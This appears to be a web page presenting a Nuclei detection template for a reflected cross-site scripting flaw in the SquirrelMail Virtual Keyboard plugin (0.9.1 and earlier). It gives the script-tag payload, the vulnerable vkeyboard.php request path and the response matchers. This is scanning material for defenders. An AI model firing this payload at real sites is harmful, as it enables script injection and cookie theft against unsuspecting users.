SquirrelMail Virtual Keyboard <=0.9.1 - Cross-Site Scripting

ID: squirrelmail-vkeyboard-xss

Severity: medium

Author: dhiyaneshDk

Tags: xss,squirrelmail,plugin,edb

Description

SquirrelMail Virtual Keyboard plugin 0.9.1 and prior contains a cross-site scripting vulnerability via the vkeyboard.php parameter. It fails to properly sanitize user-supplied input, which allows an attacker to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

id: squirrelmail-vkeyboard-xss

info:
  name: SquirrelMail Virtual Keyboard <=0.9.1 - Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: SquirrelMail Virtual Keyboard plugin 0.9.1 and prior contains a cross-site scripting vulnerability via the vkeyboard.php parameter. It fails to properly sanitize user-supplied input, which allows an attacker to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://www.exploit-db.com/exploits/34814
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    max-request: 1
  tags: xss,squirrelmail,plugin,edb
variables:
  payload: "\"><script>alert({{rand_int()}});</script><script>/*"

http:
  - method: GET
    path:
      - '{{BaseURL}}/plugins/vkeyboard/vkeyboard.php?passformname={{url_encode(payload)}}'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - 'onclick="window.opener.document.forms[0].{{payload}}'
        part: body

      - type: word
        words:
          - "text/html"
        part: header
# digest: 4a0a00473045022055148373f0334cf3df2ae792a5060fc3d03866e94ea2f694972a3b549189a744022100862c8147c68922a1b0e661d5a4c645eeb85a9e56f8595003dd960a4a14653357:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/squirrelmail/squirrelmail-vkeyboard-xss.yaml"

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